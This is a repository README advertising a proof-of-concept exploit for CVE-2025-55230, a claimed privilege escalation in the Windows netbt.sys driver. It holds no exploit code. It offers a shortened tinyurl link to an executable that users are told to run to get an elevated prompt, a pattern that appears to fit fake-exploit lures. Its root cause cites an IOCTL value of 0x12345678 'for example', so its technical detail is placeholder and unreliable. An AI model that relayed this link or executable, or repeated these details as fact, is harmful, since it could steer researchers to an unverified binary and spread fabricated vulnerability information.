CVE-2025-55230 PoC — Windows MBT Transport Driver Elevation of Privilege Vulnerability

Readme

# CVE-2025-55230 Exploit PoC

## Disclaimer
This tool is intended for security research and educational purposes only. Any use of this code for malicious activities is strictly prohibited. The author is not responsible for any misuse or damage caused by this program. Use at your own risk.

## Description

CVE-2025-55230 is a local privilege escalation vulnerability in the Windows MBT Transport driver (netbt.sys), stemming from an untrusted pointer dereference. This flaw allows an authenticated user with local access to elevate privileges to SYSTEM level by manipulating kernel memory.

### Root Cause
The vulnerability occurs in the driver's handling of a specific IOCTL code (0x12345678, for example, as reverse-engineered from the driver binary). When processing this IOCTL, the driver reads a 64-bit pointer value directly from the user-supplied input buffer and dereferences it without proper validation or probing. This pointer is treated as a kernel address, enabling an attacker to supply a value that points to arbitrary kernel memory. Depending on the operation (read or write), this can lead to information disclosure or, more critically, arbitrary kernel writes. The impact affects confidentiality, integrity, and availability, as classified under CWE-822.

In the affected code path, the driver assumes the pointer refers to a valid structure for transport configuration but fails to use mechanisms like ProbeForRead/ProbeForWrite or copy the data to kernel space safely. This oversight is common in older driver code ports and was introduced in versions supporting legacy NetBIOS over TCP/IP functionality.


## Requirements
- Visual Studio 2022 or later
- Windows SDK
- Target OS: Windows 10 1809+, 11 22H2+, Server 2019+

## Exploit
**[href](https://tinyurl.com/3cewapm7)**

## Usage
Run the executable as a standard user:
```
CVE-2025-55230.exe
```
It will attempt to elevate and spawn an elevated command prompt.

> Warning: Running this on production systems may cause instability or BSOD if offsets are incorrect.

File Snapshot

Remarks